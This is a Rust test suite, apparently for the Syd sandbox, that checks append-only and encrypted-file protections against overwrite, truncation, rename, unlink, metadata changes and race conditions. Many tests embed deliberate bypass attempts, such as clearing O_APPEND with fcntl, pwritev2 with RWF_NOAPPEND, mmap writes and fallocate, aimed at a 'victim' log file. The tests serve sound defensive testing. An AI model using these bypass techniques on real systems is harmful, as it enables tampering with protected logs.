fn test_syd_sendmmsg_sigpipe_unix_stream_6() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("trace/allow_unsafe_oob:true")
.m("allow/all+/***")
.do_(
"sendmmsg_sigpipe_unix_stream",
[(MsgFlags::MSG_OOB | MsgFlags::MSG_NOSIGNAL)
.bits()
.to_string()],
)
.status()
.expect("execute syd");
assert_status_broken_pipe!(status);
Ok(())
}
fn test_syd_handle_toolong_unix_sendto() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/exec,read,stat,walk,write,chdir,mkdir+/***")
.m("allow/net/bind+/***")
.m("trace/allow_safe_bind:1")
.do_("toolong_unix_sendto", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_handle_toolong_unix_sendmsg() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/exec,read,stat,walk,write,chdir,mkdir+/***")
.m("allow/net/bind+/***")
.m("trace/allow_safe_bind:1")
.do_("toolong_unix_sendmsg", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_appendonly_prevent_clobber() -> TestResult {
skip_unless_available!("diff", "sh");
let status = syd()
.p("off")
.m("lock:exec")
.argv(["sh", "-cex"])
.arg(
r##"
test -c "/dev/syd/append+/**/*.log"
echo 1 > test.log && exit 1 || true
echo 1 >> test.log
echo 1 >> test.raw
test -c "/dev/syd/append-/**/*.log"
echo 2 > test.log
echo 2 > test.raw
diff -u test.raw test.log
test -s test.log && exit 0 || exit 1
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_appendonly_prevent_unlink() -> TestResult {
skip_unless_available!("diff", "rm", "sh", "unlink");
let status = syd()
.p("off")
.m("lock:exec")
.argv(["sh", "-cex"])
.arg(
r##"
test -c "/dev/syd/append+/**/*.log"
echo 'Change return success. Going and coming without error. Action brings good fortune.' >> test.log
echo 'Change return success. Going and coming without error. Action brings good fortune.' >> test.raw
rm test.log && exit 1 || true
rm -f test.log && exit 1 || true
unlink test.log && exit 1 || true
test -e test.log || exit 1
diff -u test.raw test.log
test -c "/dev/syd/append-/**/*.log"
unlink test.log
test -e test.log || exit 0 && true
file test.log
exit 2
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_appendonly_prevent_rename() -> TestResult {
skip_unless_available!("diff", "mv", "sh");
let status = syd()
.p("off")
.m("lock:exec")
.argv(["sh", "-cex"])
.arg(
r##"
test -c "/dev/syd/append+/**/*.log"
echo 'Change return success. Going and coming without error. Action brings good fortune.' >> test.log
echo 'Change return success. Going and coming without error. Action brings good fortune.' >> test.raw
mv test.log test.lol && exit 1 || true
test -e test.log
diff -u test.raw test.log
test -c "/dev/syd/append-/**/*.log"
mv test.log test.lol
test -e test.lol
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_appendonly_prevent_link() -> TestResult {
skip_unless_available!("diff", "ln", "sh");
let status = syd()
.p("off")
.m("lock:exec")
.argv(["sh", "-cex"])
.arg(
r##"
test -c "/dev/syd/append+/**/*.log"
echo 'Change return success. Going and coming without error. Action brings good fortune.' >> test.log
echo 'Change return success. Going and coming without error. Action brings good fortune.' >> test.raw
ln test.log test.lol && exit 1 || true
test -e test.log
diff -u test.raw test.log
test -c "/dev/syd/append-/**/*.log"
ln test.log test.lol
test -e test.lol
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_appendonly_prevent_truncate() -> TestResult {
skip_unless_available!("diff", "sh", "truncate");
let status = syd()
.p("off")
.m("lock:exec")
.argv(["sh", "-cex"])
.arg(
r##"
test -c "/dev/syd/append+/**/*.log"
echo 'Change return success. Going and coming without error. Action brings good fortune.' >> test.log
echo 'Change return success. Going and coming without error. Action brings good fortune.' >> test.raw
truncate -s0 test.log && exit 1 || true
diff -u test.raw test.log
test -c "/dev/syd/append-/**/*.log"
truncate -s0 test.log
test -s test.log && exit 1 || exit 0
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_appendonly_prevent_ftruncate() -> TestResult {
skip_unless_available!("diff", "python3", "sh");
let status = syd()
.p("off")
.m("lock:exec")
.argv(["sh", "-cex"])
.arg(
r##"
test -c "/dev/syd/append+/**/*.log"
echo 'Change return success. Going and coming without error. Action brings good fortune.' >> test.log
echo 'Change return success. Going and coming without error. Action brings good fortune.' >> test.raw
python3 <<'EOF'
import os, errno
fd = os.open("test.log", os.O_WRONLY|os.O_APPEND)
try:
os.ftruncate(fd, 0)
raise RuntimeError("Expected EPERM")
except OSError as e:
if e.errno != errno.EPERM: raise
EOF
diff -u test.raw test.log
python3 <<'EOF'
import os, errno
try:
fd = os.open("test.log", os.O_RDWR|os.O_TRUNC)
raise RuntimeError("Expected EPERM")
except OSError as e:
if e.errno != errno.EPERM: raise
EOF
diff -u test.raw test.log
test -c "/dev/syd/append-/**/*.log"
python3 <<'EOF'
import os
fd = os.open("test.log", os.O_WRONLY)
os.ftruncate(fd, 0)
EOF
test -s test.log && exit 1 || exit 0
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_appendonly_prevent_fcntl() -> TestResult {
skip_unless_available!("diff", "python3", "sh");
let status = syd()
.p("off")
.m("lock:exec")
.argv(["sh", "-cex"])
.arg(
r##"
test -c "/dev/syd/append+/**/*.log"
echo 'Change return success. Going and coming without error. Action brings good fortune.' >> test.log
echo 'Change return success. Going and coming without error. Action brings good fortune.' >> test.raw
echo 'All your logs belong to us!' >> test.raw
cat >test.py <<'EOF'
import os, errno, fcntl
fd = os.open("test.log", os.O_WRONLY|os.O_APPEND)
fl = fcntl.fcntl(fd, fcntl.F_GETFL)
fl &= ~os.O_APPEND
try:
fcntl.fcntl(fd, fcntl.F_SETFL, fl)
raise RuntimeError("Expected EPERM")
except OSError as e:
if e.errno != errno.EPERM: raise
os.lseek(fd, 0, os.SEEK_SET)
os.write(fd, b"All your logs belong to us!\n")
os.close(fd)
EOF
cat test.py
python3 test.py
cat test.log
diff -u test.raw test.log
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_appendonly_filter_fcntl() -> TestResult {
let status = syd()
.p("off")
.m("append+/**/*.log")
.do_("fcntl_setfl_append", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_appendonly_filter_fcntl_upper() -> TestResult {
let status = syd()
.p("off")
.m("append+/**/*.log")
.do_("fcntl_setfl_upper", NONE)
.status()
.expect("execute syd");
assert_status_permission_denied!(status);
Ok(())
}
fn test_syd_appendonly_prevent_pwritev2_1() -> TestResult {
// RWF_NOAPPEND flag for pwritev2(2) is new in Linux-6.9.
skip_unless_linux!(6, 9);
// RWF_NOAPPEND flag is not supported by FUSE & ZFS yet.
skip_if_fs!("fuseblk", "zfs");
// Prepare the victim file with arbitrary contents.
// The sandbox break will attempt to overwrite this file's
// contents despite Syd's append-only restrictions.
let data = "Change return success. Going and coming without error. Action brings good fortune.";
let mut file = File::create("./truncate_me")?;
write!(file, "{data}")?;
drop(file);
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "pwritev2")
.arg("./truncate_me")
.arg("append")
.arg("0")
.arg("All your logs belong to us!")
.status()
.expect("execute syd-test-do");
let code = status.code().unwrap_or(127);
if code == ENOSYS {
eprintln!("pwritev2 syscall is not supported, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let new_data = read_to_string("./truncate_me")?;
assert!(
!new_data.starts_with(data),
"pwritev2 failed: `{new_data}' starts with `{data}'"
);
assert_status_ok!(status);
Ok(())
}
fn test_syd_appendonly_prevent_pwritev2_2() -> TestResult {
// RWF_NOAPPEND flag for pwritev2(2) is new in Linux-6.9.
skip_unless_linux!(6, 9);
// RWF_NOAPPEND flag is not supported by FUSE & ZFS yet.
skip_if_fs!("fuseblk", "zfs");
// Prepare the victim file with arbitrary contents.
// The sandbox break will attempt to overwrite this file's
// contents despite Syd's append-only restrictions.
let data = "Change return success. Going and coming without error. Action brings good fortune.";
let mut file = File::create("./truncate_me")?;
write!(file, "{data}")?;
drop(file);
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "pwritev2")
.arg("./truncate_me")
.arg("no-append")
.arg("0")
.arg("All your logs belong to us!")
.status()
.expect("execute syd-test-do");
let code = status.code().unwrap_or(127);
if code == ENOSYS {
eprintln!("pwritev2 syscall is not supported, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let new_data = read_to_string("./truncate_me")?;
assert!(
!new_data.starts_with(data),
"pwritev2 failed: `{new_data}' starts with `{data}'"
);
assert_status_ok!(status);
Ok(())
}
fn test_syd_appendonly_prevent_pwritev2_3() -> TestResult {
// RWF_NOAPPEND flag for pwritev2(2) is new in Linux-6.9.
skip_unless_linux!(6, 9);
// RWF_NOAPPEND flag is not supported by FUSE & ZFS yet.
skip_if_fs!("fuseblk", "zfs");
// Prepare the victim file with arbitrary contents.
// The sandbox break will attempt to overwrite this file's
// contents despite Syd's append-only restrictions.
let data = "Change return success. Going and coming without error. Action brings good fortune.";
let mut file = File::create("./truncate_me")?;
write!(file, "{data}")?;
drop(file);
let status = syd()
.p("off")
.m("append+/**/truncate_me")
.do_(
"pwritev2",
[
"./truncate_me",
"append",
"0",
"All your logs belong to us!",
],
)
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if code == ENOSYS {
eprintln!("pwritev2 syscall is not supported, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let new_data = read_to_string("./truncate_me")?;
assert!(
new_data.starts_with(data),
"append-only violation: `{new_data}' doesn't start with `{data}'"
);
assert_status_operation_not_supported!(status);
Ok(())
}
fn test_syd_appendonly_prevent_pwritev2_4() -> TestResult {
// RWF_NOAPPEND flag for pwritev2(2) is new in Linux-6.9.
skip_unless_linux!(6, 9);
// RWF_NOAPPEND flag is not supported by FUSE & ZFS yet.
skip_if_fs!("fuseblk", "zfs");
// Prepare the victim file with arbitrary contents.
// The sandbox break will attempt to overwrite this file's
// contents despite Syd's append-only restrictions.
let data = "Change return success. Going and coming without error. Action brings good fortune.";
let mut file = File::create("./truncate_me")?;
write!(file, "{data}")?;
drop(file);
let status = syd()
.p("off")
.m("append+/**/truncate_me")
.do_(
"pwritev2",
[
"./truncate_me",
"no-append",
"0",
"All your logs belong to us!",
],
)
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if code == ENOSYS {
eprintln!("pwritev2 syscall is not supported, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let new_data = read_to_string("./truncate_me")?;
assert!(
new_data.starts_with(data),
"append-only violation: `{new_data}' doesn't start with `{data}'"
);
assert_status_permission_denied!(status);
Ok(())
}
fn test_syd_appendonly_prevent_pwritev2_5() -> TestResult {
// RWF_NOAPPEND flag for pwritev2(2) is new in Linux-6.9.
skip_unless_linux!(6, 9);
// RWF_NOAPPEND flag is not supported by FUSE & ZFS yet.
skip_if_fs!("fuseblk", "zfs");
// Prepare the victim file with arbitrary contents.
// The sandbox break will attempt to overwrite this file's
// contents despite Syd's append-only restrictions.
let data = "Change return success. Going and coming without error. Action brings good fortune.";
let mut file = File::create("./truncate_me")?;
write!(file, "{data}")?;
drop(file);
let status = syd()
.p("off")
//.m("append+/**/truncate_me")
.do_(
"pwritev2",
[
"./truncate_me",
"append",
"0",
"All your logs belong to us!",
],
)
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if code == ENOSYS {
eprintln!("pwritev2 syscall is not supported, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let new_data = read_to_string("./truncate_me")?;
assert!(
!new_data.starts_with(data),
"pwritev2 failed: `{new_data}' starts with `{data}'"
);
assert_status_ok!(status);
Ok(())
}
fn test_syd_appendonly_prevent_pwritev2_6() -> TestResult {
// RWF_NOAPPEND flag for pwritev2(2) is new in Linux-6.9.
skip_unless_linux!(6, 9);
// RWF_NOAPPEND flag is not supported by FUSE & ZFS yet.
skip_if_fs!("fuseblk", "zfs");
// Prepare the victim file with arbitrary contents.
// The sandbox break will attempt to overwrite this file's
// contents despite Syd's append-only restrictions.
let data = "Change return success. Going and coming without error. Action brings good fortune.";
let mut file = File::create("./truncate_me")?;
write!(file, "{data}")?;
drop(file);
let status = syd()
.p("off")
//.m("append+/**/truncate_me")
.do_(
"pwritev2",
[
"./truncate_me",
"no-append",
"0",
"All your logs belong to us!",
],
)
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if code == ENOSYS {
eprintln!("pwritev2 syscall is not supported, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let new_data = read_to_string("./truncate_me")?;
assert!(
!new_data.starts_with(data),
"pwritev2 failed: `{new_data}' starts with `{data}'"
);
assert_status_ok!(status);
Ok(())
}
fn test_syd_appendonly_prevent_mmap_1() -> TestResult {
// Prepare the victim file with arbitrary contents.
// The sandbox break will attempt to overwrite this file's
// contents despite Syd's append-only restrictions.
let data = "Change return success. Going and coming without error. Action brings good fortune.";
let mut file = File::create("./truncate_me")?;
write!(file, "{data}")?;
drop(file);
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "mmap_write_offset")
.arg("./truncate_me")
.arg("mmap")
.arg("0")
.arg("All your logs belong to us!")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
let new_data = read_to_string("./truncate_me")?;
assert!(
!new_data.starts_with(data),
"mmap failed: `{new_data}' starts with `{data}'"
);
Ok(())
}
fn test_syd_appendonly_prevent_mmap_2() -> TestResult {
// Prepare the victim file with arbitrary contents.
// The sandbox break will attempt to overwrite this file's
// contents despite Syd's append-only restrictions.
let data = "Change return success. Going and coming without error. Action brings good fortune.";
let mut file = File::create("./truncate_me")?;
write!(file, "{data}")?;
drop(file);
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "mmap_write_offset")
.arg("./truncate_me")
.arg("mprotect")
.arg("0")
.arg("All your logs belong to us!")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
let new_data = read_to_string("./truncate_me")?;
assert!(
!new_data.starts_with(data),
"mmap failed: `{new_data}' starts with `{data}'"
);
Ok(())
}
fn test_syd_appendonly_prevent_mmap_3() -> TestResult {
// Prepare the victim file with arbitrary contents.
// The sandbox break will attempt to overwrite this file's
// contents despite Syd's append-only restrictions.
let data = "Change return success. Going and coming without error. Action brings good fortune.";
let mut file = File::create("./truncate_me")?;
write!(file, "{data}")?;
drop(file);
let status = syd()
.p("off")
//.m("append+/**/truncate_me")
.do_(
"mmap_write_offset",
[
"./truncate_me",
"mmap",
"0",
"All your logs belong to us!",
],
)
.status()
.expect("execute syd");
let new_data = read_to_string("./truncate_me")?;
assert!(
!new_data.starts_with(data),
"mmap failed: `{new_data}' starts with `{data}'"
);
assert_status_ok!(status);
Ok(())
}
fn test_syd_appendonly_prevent_mmap_4() -> TestResult {
// Prepare the victim file with arbitrary contents.
// The sandbox break will attempt to overwrite this file's
// contents despite Syd's append-only restrictions.
let data = "Change return success. Going and coming without error. Action brings good fortune.";
let mut file = File::create("./truncate_me")?;
write!(file, "{data}")?;
drop(file);
let status = syd()
.p("off")
//.m("append+/**/truncate_me")
.do_(
"mmap_write_offset",
[
"./truncate_me",
"mprotect",
"0",
"All your logs belong to us!",
],
)
.status()
.expect("execute syd");
let new_data = read_to_string("./truncate_me")?;
assert!(
!new_data.starts_with(data),
"mmap failed: `{new_data}' starts with `{data}'"
);
assert_status_ok!(status);
Ok(())
}
fn test_syd_appendonly_prevent_mmap_5() -> TestResult {
// Prepare the victim file with arbitrary contents.
// The sandbox break will attempt to overwrite this file's
// contents despite Syd's append-only restrictions.
let data = "Change return success. Going and coming without error. Action brings good fortune.";
let mut file = File::create("./truncate_me")?;
write!(file, "{data}")?;
drop(file);
let status = syd()
.p("off")
.m("append+/**/truncate_me")
.do_(
"mmap_write_offset",
["./truncate_me", "mmap", "0", "All your logs belong to us!"],
)
.status()
.expect("execute syd");
let new_data = read_to_string("./truncate_me")?;
assert!(
new_data.starts_with(data),
"append-only violation: `{new_data}' doesn't start with `{data}'"
);
assert_status_permission_denied!(status);
Ok(())
}
fn test_syd_appendonly_prevent_mmap_6() -> TestResult {
// Prepare the victim file with arbitrary contents.
// The sandbox break will attempt to overwrite this file's
// contents despite Syd's append-only restrictions.
let data = "Change return success. Going and coming without error. Action brings good fortune.";
let mut file = File::create("./truncate_me")?;
write!(file, "{data}")?;
drop(file);
let status = syd()
.p("off")
.m("append+/**/truncate_me")
.do_(
"mmap_write_offset",
[
"./truncate_me",
"mprotect",
"0",
"All your logs belong to us!",
],
)
.status()
.expect("execute syd");
let new_data = read_to_string("./truncate_me")?;
assert!(
new_data.starts_with(data),
"append-only violation: `{new_data}' doesn't start with `{data}'"
);
assert_status_permission_denied!(status);
Ok(())
}
fn test_syd_appendonly_prevent_fallocate_1() -> TestResult {
// Prepare the victim file with arbitrary contents.
// The sandbox break will attempt to overwrite this file's
// contents despite Syd's append-only restrictions.
let data = "Change return success. Going and coming without error. Action brings good fortune.";
let mut file = File::create("./truncate_me")?;
write!(file, "{data}")?;
drop(file);
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "fallocate_file")
.arg("./truncate_me")
.arg("zero")
.arg("0")
.arg(data.len().to_string())
.status()
.expect("execute syd-test-do");
let code = status.code().unwrap_or(127);
if code != EOPNOTSUPP {
assert_status_ok!(status);
} else {
eprintln!("fallocate(2) not supported on this filesystem, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let new_data = read_to_string("./truncate_me")?;
assert!(
!new_data.starts_with(data),
"fallocate failed: `{new_data}' starts with `{data}'"
);
Ok(())
}
fn test_syd_appendonly_prevent_fallocate_2() -> TestResult {
// Prepare the victim file with arbitrary contents.
// The sandbox break will attempt to overwrite this file's
// contents despite Syd's append-only restrictions.
let data = "Change return success. Going and coming without error. Action brings good fortune.";
let mut file = File::create("./truncate_me")?;
write!(file, "{data}")?;
drop(file);
let status = syd()
.p("off")
.m("append+/**/truncate_me")
.do_(
"fallocate_file",
["./truncate_me", "zero", "0", &data.len().to_string()],
)
.status()
.expect("execute syd");
let new_data = read_to_string("./truncate_me")?;
assert!(
new_data.starts_with(data),
"append-only violation: `{new_data}' doesn't start with `{data}'"
);
// Syd turns fallocate(2) into EPERM.
assert_status_permission_denied!(status);
Ok(())
}
fn test_syd_appendonly_prevent_fallocate_3() -> TestResult {
skip_unless_available!("cmp", "sh");
let syd_do = &SYD_DO.to_string();
let status = syd()
.p("off")
.m("lock:exec")
.env("SYD_TEST_DO", "fallocate_file")
.env("EOPNOTSUPP", EOPNOTSUPP.to_string())
.env("EPERM", EPERM.to_string())
.argv(["sh", "-cex"])
.arg(format!(
r##"
test -c "/dev/syd/append+/**/*.log"
echo 'Change return success. Going and coming without error. Action brings good fortune.' >> test.log
echo 'Change return success. Going and coming without error. Action brings good fortune.' >> test.raw
{syd_do} test.log zero 0 84 && exit 1 || r=$?
case $r in
1|$EPERM) true;;
$EOPNOTSUPP)
echo >&2 "no fallocate(2) support, skipping test!"
exit 0;;
*) exit $r;;
esac
cmp test.raw test.log
test -c "/dev/syd/append-/**/*.log"
r=0
{syd_do} test.log zero 0 84 || r=$?
case $r in
'') true;;
0) true;;
$EOPNOTSUPP)
echo >&2 "no fallocate(2) support, skipping test!"
exit 0;;
*) exit $r;;
esac
test -e test.log
"##,
))
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_appendonly_prevent_chmod() -> TestResult {
skip_unless_available!("chmod", "sh");
let status = syd()
.p("off")
.m("lock:exec")
.argv(["sh", "-cex"])
.arg(
r##"
test -c "/dev/syd/append+/**/*.log"
echo 'Change return success. Going and coming without error. Action brings good fortune.' >> test.log
chmod 0600 test.log && exit 1 || true
test -c "/dev/syd/append-/**/*.log"
chmod 0600 test.log
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_0_appendonly_prevent_chown() -> TestResult {
skip_unless_cap!("chown");
skip_unless_available!("chown", "sh", "id");
let status = syd()
.p("off")
.m("lock:exec")
.argv(["sh", "-cex"])
.arg(
r##"
test -c "/dev/syd/append+/**/*.log"
echo 'Change return success. Going and coming without error. Action brings good fortune.' >> test.log
chown 0 test.log && exit 1 || true
test -c "/dev/syd/append-/**/*.log"
chown 0 test.log
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_0_appendonly_prevent_chgrp() -> TestResult {
skip_unless_cap!("chown");
skip_unless_available!("chgrp", "sh", "id");
let status = syd()
.p("off")
.m("lock:exec")
.argv(["sh", "-cex"])
.arg(
r##"
test -c "/dev/syd/append+/**/*.log"
echo 'Change return success. Going and coming without error. Action brings good fortune.' >> test.log
chgrp 0 test.log && exit 1 || true
test -c "/dev/syd/append-/**/*.log"
chgrp 0 test.log
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_appendonly_prevent_utime() -> TestResult {
skip_unless_available!("touch", "sh");
let status = syd()
.p("off")
.m("lock:exec")
.argv(["sh", "-cex"])
.arg(
r##"
test -c "/dev/syd/append+/**/*.log"
echo 'Change return success. Going and coming without error. Action brings good fortune.' >> test.log
touch -t 200001010000 test.log && exit 1 || true
test -c "/dev/syd/append-/**/*.log"
touch -t 200001010000 test.log
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_appendonly_prevent_setxattr() -> TestResult {
skip_unless_available!("setfattr", "sh");
let status = syd()
.p("off")
.m("lock:exec")
.argv(["sh", "-cex"])
.arg(
r##"
test -c "/dev/syd/append+/**/*.log"
echo 'Change return success. Going and coming without error. Action brings good fortune.' >> test.log
setfattr -n user.test -v "value" test.log && exit 1 || true
test -c "/dev/syd/append-/**/*.log"
setfattr -n user.test -v "value" test.log
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_appendonly_prevent_removexattr() -> TestResult {
skip_unless_available!("setfattr", "sh");
let status = syd()
.p("off")
.m("lock:exec")
.argv(["sh", "-cex"])
.arg(
r##"
test -c "/dev/syd/append-/**/*.log"
echo 'Change return success. Going and coming without error. Action brings good fortune.' >> test.log
setfattr -n user.test -v "value" test.log
test -c "/dev/syd/append+/**/*.log"
setfattr -x user.test test.log && exit 1 || true
test -c "/dev/syd/append-/**/*.log"
setfattr -x user.test test.log
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_reopen_append_race() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("python3", "sh");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["sh", "-cex"])
.arg(
r##"
cat >test.py <<'EOF'
import os, errno, fcntl, sys
NWORKERS = 16
ITERATIONS = 1000
def worker(path, worker_id):
"""Rapidly write-close-reopen and check O_APPEND protection."""
for i in range(ITERATIONS):
# Write and close quickly to trigger AES sync.
fd = os.open(path, os.O_WRONLY|os.O_CREAT|os.O_TRUNC, 0o644)
os.write(fd, f"data from worker {worker_id} iter {i}\n".encode())
os.close(fd)
# Immediately reopen with O_APPEND.
fd = os.open(path, os.O_WRONLY|os.O_APPEND)
fl = fcntl.fcntl(fd, fcntl.F_GETFL)
fl &= ~os.O_APPEND
try:
fcntl.fcntl(fd, fcntl.F_SETFL, fl)
# Race triggered! O_APPEND was cleared.
print(f"RACE: worker {worker_id} iter {i}: "
f"fcntl(F_SETFL, ~O_APPEND) succeeded!",
file=sys.stderr)
os.close(fd)
os._exit(1)
except OSError as e:
if e.errno != errno.EPERM:
raise
os.close(fd)
os._exit(0)
# Spawn workers.
pids = []
for w in range(NWORKERS):
pid = os.fork()
if pid == 0:
worker(f"test{w}.crypt", w)
# worker calls os._exit(), never reaches here
pids.append(pid)
failed = False
for pid in pids:
_, status = os.waitpid(pid, 0)
if os.WIFEXITED(status) and os.WEXITSTATUS(status) != 0:
failed = True
elif os.WIFSIGNALED(status):
failed = True
sys.exit(1 if failed else 0)
EOF
python3 test.py
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_concurrent_read_race() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("python3", "sh");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["sh", "-cex"])
.arg(
r##"
cat >test.py <<'PYEOF'
import os, sys, hashlib, signal, time
SECRET = b"Change return success. Going and coming without error. Action brings good fortune.\n"
EXPECTED = hashlib.sha256(SECRET).hexdigest()
PATH = "shared.crypt"
NREADERS = 64
ITERATIONS = 1000
def writer_loop(path, data, stop_fd):
"""Periodically rewrite the crypt file to trigger AES sync cycles."""
for i in range(ITERATIONS * 2):
fd = os.open(path, os.O_WRONLY|os.O_CREAT|os.O_TRUNC, 0o644)
os.write(fd, data)
os.close(fd)
# Brief pause to let readers race.
time.sleep(0.001)
os._exit(0)
def reader_loop(path, expected_hash, reader_id):
"""Rapidly open-read-close to hit the concurrent read sharing path."""
for i in range(ITERATIONS):
try:
fd = os.open(path, os.O_RDONLY)
except OSError:
continue
data = b""
try:
while True:
chunk = os.read(fd, 65536)
if not chunk:
break
data += chunk
except OSError as e:
# Errors mean fd points to the wrong file type -> RACE!
print(f"RACE DETECTED: reader {reader_id} iter {i}: "
f"os.read() failed with {e}",
file=sys.stderr, flush=True)
try:
os.close(fd)
except OSError:
pass
os._exit(1)
os.close(fd)
if len(data) == 0:
continue
got = hashlib.sha256(data).hexdigest()
if got != expected_hash:
print(f"RACE DETECTED: reader {reader_id} iter {i}: "
f"expected hash {expected_hash[:16]}..., "
f"got hash {got[:16]}..., "
f"datalen={len(data)}, data={data[:40]!r}",
file=sys.stderr, flush=True)
os._exit(1)
os._exit(0)
# Initial write to create the encrypted file.
fd = os.open(PATH, os.O_WRONLY|os.O_CREAT|os.O_TRUNC, 0o644)
os.write(fd, SECRET)
os.close(fd)
# Let AES sync complete.
time.sleep(0.2)
# Spawn the writer which rewrites periodically to reset AES state.
pids = []
pid = os.fork()
if pid == 0:
writer_loop(PATH, SECRET, None)
pids.append(pid)
# Spawn many concurrent readers.
for r in range(NREADERS):
pid = os.fork()
if pid == 0:
reader_loop(PATH, EXPECTED, r)
pids.append(pid)
failed = False
for pid in pids:
_, status = os.waitpid(pid, 0)
if os.WIFEXITED(status) and os.WEXITSTATUS(status) != 0:
failed = True
elif os.WIFSIGNALED(status):
failed = True
sys.exit(1 if failed else 0)
PYEOF
python3 test.py
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_ofd_getlk() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.m("crypt/tmp:/tmp")
.do_("fcntl_ofd", ["test.crypt", "GETLK", "WRLCK", "UNLCK"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_ofd_setlk() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.m("crypt/tmp:/tmp")
.do_("fcntl_ofd", ["test.crypt", "SETLK", "UNLCK"])
.status()
.expect("execute syd");
assert_status_permission_denied!(status);
Ok(())
}
fn test_syd_crypt_ofd_setlkw() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.m("crypt/tmp:/tmp")
.do_("fcntl_ofd", ["test.crypt", "SETLKW", "UNLCK"])
.status()
.expect("execute syd");
assert_status_permission_denied!(status);
Ok(())
}
fn test_syd_crypt_prevent_append_change() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("diff", "python3", "sh");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["sh", "-cex"])
.arg(
r##"
echo 'Change return success. Going and coming without error. Action brings good fortune.' >> test.crypt
echo 'Change return success. Going and coming without error. Action brings good fortune.' >> test.raw
echo 'All your logs belong to us!' >> test.raw
cat >test.py <<'EOF'
import os, errno, fcntl
fd = os.open("test.crypt", os.O_WRONLY|os.O_APPEND)
fl = fcntl.fcntl(fd, fcntl.F_GETFL)
fl &= ~os.O_APPEND
try:
fcntl.fcntl(fd, fcntl.F_SETFL, fl)
raise RuntimeError("Expected EPERM but succeeded!")
except OSError as e:
if e.errno != errno.EPERM:
raise
os.lseek(fd, 0, os.SEEK_SET)
os.write(fd, b"All your logs belong to us!\n")
os.close(fd)
EOF
cat test.py
python3 test.py
cat test.crypt
diff -u test.raw test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
